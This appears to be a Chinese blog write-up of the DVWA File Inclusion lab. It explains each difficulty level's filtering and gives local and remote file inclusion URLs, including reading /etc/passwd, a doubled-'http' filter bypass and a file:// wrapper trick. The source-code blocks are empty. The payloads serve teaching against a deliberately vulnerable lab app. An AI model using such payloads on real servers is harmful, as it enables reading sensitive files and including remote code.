DVWA Writeup Part IV (File Inclusion)
File Inclusion
文件包含
Low
源码解析
直接用 $_GET
从 URL 中获取数据,未对其进行检查和过滤。
1 |
|
漏洞利用
本地文件包含(Local File Inclusion, LFI)
构造 URL 读取服务器端的文件,一步到位。
1 | http://192.168.56.102/vulnerabilities/fi/?page=/etc/passwd |
远程文件包含(Remote File Inclusion, RFI)
首先需要 PHP 激活 allow_url_include
和 allow_url_fopen
选项,以便使用远程文件。
PS:短网址生成
1 | http://192.168.56.102/vulnerabilities/fi/?page=http://suo.im/5tn8lz |
中文乱码了23333
参阅
Medium
源码解析
使用 str_replace
过滤掉一些字符串。
1 |
|
漏洞利用
本地文件包含(Local File Inclusion, LFI)
不做改动,和 Low 级别相同的利用方式。
1 | http://192.168.56.102/vulnerabilities/fi/?page=/etc/passwd |
远程文件包含(Remote File Inclusion, RFI)
和命令注入的思路类似,组合一下字符绕过。当 hthttp://tp://
中的 http://
被过滤掉之后就形成了 http://
。
1 | http://192.168.56.102/vulnerabilities/fi/?page=hthttp://tp://suo.im/5tn8lz |
High
源码解析
fnmatch
用于模式匹配文件名,文件名必须以 file
开头,且文件不能为 include.php
,否则输出文件未找到。
1 |
|
漏洞利用
本地文件包含(Local File Inclusion, LFI)
利用 file://
协议访问本地文件。
1 | http://192.168.56.102/vulnerabilities/fi/?page=file:///etc/passwd |
参阅
Impossioble
源码解析
不能包含 include.php
,且直接限制了只能包含 file1.php
、 file2.php
、 file3.php
。
1 |
|
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Jckling's Blog!
评论